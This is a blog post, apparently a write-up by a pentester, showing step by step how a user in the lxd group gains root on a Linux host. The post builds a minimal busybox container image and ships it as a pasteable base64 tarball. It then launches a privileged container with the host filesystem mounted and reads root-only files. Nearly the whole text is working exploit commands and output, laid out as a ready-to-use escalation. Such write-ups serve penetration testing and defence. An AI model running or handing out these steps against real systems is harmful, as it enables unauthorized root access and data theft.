Show full content
This will be a pretty short blog post to inform you I have a new site with blog at https://SimulatedAttack.com. All new stuff will be posted there.
This will be a pretty short blog post to inform you I have a new site with blog at https://SimulatedAttack.com. All new stuff will be posted there.
lxc init ubuntu:16.04 test -c security.privileged=true
root:~# lxc-create m0noc -t busybox root:~# lxc-ls -f NAME STATE AUTOSTART GROUPS IPV4 IPV6 UNPRIVILEGED m0noc STOPPED 0 - - - false
root:~# cd /var/lib/lxc/m0noc/rootfs root:/var/lib/lxc/m0noc/rootfs# ls bin dev home lib64 null ram0 sbin sys tty tty1 urandom var console etc lib mnt proc root selinux tmp tty0 tty5 usr zero
root:/var/lib/lxc/m0noc/rootfs# cd .. root:/var/lib/lxc/m0noc# tar cfj ~/busyboxOrig.tar.bz2 rootfs root:/var/lib/lxc/m0noc# cd ; mkdir container ; cd container root:~/container# tar xfj ../busyboxOrig.tar.bz2 root:~/container# ls rootfs
root:~/container# echo architecture: x86_64 > metadata.yaml root:~/container# echo creation_date: 1424284563 >> metadata.yaml root:~/container# cat metadata.yaml architecture: x86_64 creation_date: 1424284563
root:~/container# tar cfj ../m0nocBusybox.tar.bz2 rootfs metadata.yaml root:~/container# cd .. root:~# ls -l m0nocBusybox.tar.bz2 -rw-r--r-- 1 root root 980879 Oct 16 12:58 m0nocBusybox.tar.bz2 root:~# cp m0nocBusybox.tar.bz2 /home/bob/ root:~# chown bob /home/bob/m0nocBusybox.tar.bz2
bob:~$ id -a uid=1002(bob) gid=1006(bob) groups=1006(bob),108(lxd) bob:~$ cat /root/root.txt cat: /root/root.txt: Permission denied bob:~$ lxc image import m0nocBusybox.tar.bz2 --alias bobImage If this is your first time running LXD on this machine, you should also run: lxd init To start your first container, try: lxc launch ubuntu:16.04 Image imported with fingerprint: 13e9fb7ead9f0f09785b4e3203cfc52f42cd6ecdf371dbb5f07435c3d50bd560 bob:~$ lxc init bobImage bobVM -c security.privileged=true Creating bobVM bob:~$ lxc config device add bobVM realRoot disk source=/ path=r Device realRoot added to bobVM bob:~$ lxc start bobVM bob:~$ lxc exec bobVM -- cat /r/root/root.txt sup3rS5cr3tF1AgThatN0OneCanSee
bob:~$ lxc stop bobVM bob:~$ lxc delete bobVM bob:~$ lxc image delete bobImage
root:~/container# find . -ls | fgrep 788059 788059 1976 -rwsr-sr-x 2 root root 2022480 Oct 16 12:50 ./rootfs/sbin/init 788059 1976 -rwsr-sr-x 2 root root 2022480 Oct 16 12:50 ./rootfs/bin/busybox
root:~/container/rootfs/sbin# ls -l total 1976 -rwsr-sr-x 2 root root 2022480 Oct 16 12:50 init root:~/container/rootfs/sbin# rm init root:~/container/rootfs/sbin# ln -s ./../bin/busybox init
root:~/container/rootfs/sbin# cd ../.. root:~/container# tar cfj ../m0nocBusybox2.tar.bz2 rootfs metadata.yaml root:~/container# cd .. root:~# ls -l m0nocBusybox2.tar.bz2 -rw-r--r-- 1 root root 984369 Oct 16 13:25 m0nocBusybox2.tar.bz2 root:~# cp m0nocBusybox2.tar.bz2 /home/bob/ root:~# chown bob /home/bob/m0nocBusybox2.tar.bz2
bob:~$ lxc image import m0nocBusybox2.tar.bz2 --alias bobImage Image imported with fingerprint: 9c6dec86d91932575b763fa899cbf3c4f3760101418cb51b1d9e78571e6d392a bob:~$ lxc init bobImage bobVM -c security.privileged=true Creating bobVM bob:~$ lxc config device add bobVM realRoot disk source=/ path=r Device realRoot added to bobVM bob:~$ lxc start bobVM bob:~$ lxc exec bobVM -- /bin/sh BusyBox v1.27.2 (Ubuntu 1:1.27.2-2ubuntu3) built-in shell (ash) Enter 'help' for a list of built-in commands. ~ # cat /r/root/root.txt sup3rS5cr3tF1AgThatN0OneCanSee ~ # /r/usr/bin/file /sbin/init /bin/sh: /r/usr/bin/file: not found ~ # ls -l /r/usr/bin/file -rwxr-xr-x 1 root root 22792 Jun 13 17:09 /r/usr/bin/file
root:~# file /usr/bin/file /usr/bin/file: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=ba74252751fddf2ef1b1d3bd2098c95550eee976, stripped
~ # ls /lib64/ld-linux-x86-64.so.2 ls: /lib64/ld-linux-x86-64.so.2: No such file or directory ~ # ls /r/lib64/ld-linux-x86-64.so.2 ls: /r/lib64/ld-linux-x86-64.so.2: No such file or directory ~ # ls -l /r/lib64/ld-linux-x86-64.so.2 lrwxrwxrwx 1 root root 32 Apr 16 2018 /r/lib64/ld-linux-x86-64.so.2 -> /lib/x86_64-linux-gnu/ld-2.27.so ~ # ls /r/lib/x86_64-linux-gnu/ld-2.27.so /r/lib/x86_64-linux-gnu/ld-2.27.so
~ # /r/lib/x86_64-linux-gnu/ld-2.27.so /r/usr/bin/file /sbin/init /r/usr/bin/file: error while loading shared libraries: libmagic.so.1: cannot open shared object file: No such file or directory
root:~/container/rootfs# ls bin dev home lib64 null ram0 sbin sys tty tty1 urandom var console etc lib mnt proc root selinux tmp tty0 tty5 usr zero root:~/container/rootfs# rm console null ram0 tty tty0 tty1 tty5 urandom zero
root:~/container/rootfs# rmdir home mnt selinux
root:~/container/rootfs# pwd /root/container/rootfs root:~/container/rootfs# rm -r usr bin lib lib64 root:~/container/rootfs# for a in usr bin lib lib64; do ln -s ./r/$a; done
root:~/container# tar cfj ../m0nocFinal.tar.bz2 rootfs metadata.yaml root:~/container# cd .. root:~# ls -l m0nocFinal.tar.bz2 -rw-r--r-- 1 root root 656 Oct 16 13:41 m0nocFinal.tar.bz2 root:~# base64 -w 0 m0nocFinal.tar.bz2 ; echo QlpoOTFBWSZTWaxzK54ABPR/p86QAEBoA//QAA3voP/v3+AACAAEgACQAIAIQAK8KAKCGURPUPJGRp6gNAAAAGgeoA5gE0wCZDAAEwTAAADmATTAJkMAATBMAAAEiIIEp5CepmQmSNNqeoafqZTxQ00HtU9EC9/dr7/586W+tl+zW5or5/vSkzToXUxptsDiZIE17U20gexCSAp1Z9b9+MnY7TS1KUmZjspN0MQ23dsPcIFWwEtQMbTa3JGLHE0olggWQgXSgTSQ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AY6oBiFdpBlggUJVMLNKLRQpDoGDIwfle01yQqWxwrKE5aMWOglhlUQQUit6VogV2cD01i0xysiYbzerOUWyrpCAvE41pCFYVoRPj/B28wSZUy/TaUHYx9GkfEYg9mcAilQ+nPCBfgZ5fl3GuPmfUOB3sbFm6/bRA0nXChku7aaN+AueYzqhKOKiBPjLlAAvxBAjAmSJWD5AqhLv/fWja66s7omu/ZTHcC24QJ83NrM67KACLACNUcnJjTTHCCDUIUJtOtN+7rQL+kCm4+U9Wj19YXFhxaXVt6Ph1ALRKOV9Xb7Sm68oF7nhyvegWjELKFH3XiWstVNGgTQTWoCjDnpXh9+/JXxIg4i8mvNobXGIXbmrGeOvXE8pou6wdqSD/F3JFOFCQrHMrng= | base64 -d > bob.tar.bz2 bob:~$ lxc image import bob.tar.bz2 --alias bobImage Image imported with fingerprint: 8961bb8704bc3fd43269c88f8103cab4fccd55325dd45f98e3ec7c75e501051d bob:~$ lxc init bobImage bobVM -c security.privileged=true Creating bobVM bob:~$ lxc config device add bobVM realRoot disk source=/ path=r Device realRoot added to bobVM bob:~$ lxc start bobVM bob:~$ lxc exec bobVM -- /bin/sh # cat /r/root/root.txt sup3rS5cr3tF1AgThatN0OneCanSee # file /sbin/init /sbin/init: symbolic link to ./../bin/busybox # file ./../bin/busybox ./../bin/busybox: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=523ce489921940867ee1a8631dbfdd5753d84688, stripped # exit bob:~$ lxc stop bobVM bob:~$ lxc delete bobVM bob:~$ lxc image delete bobImage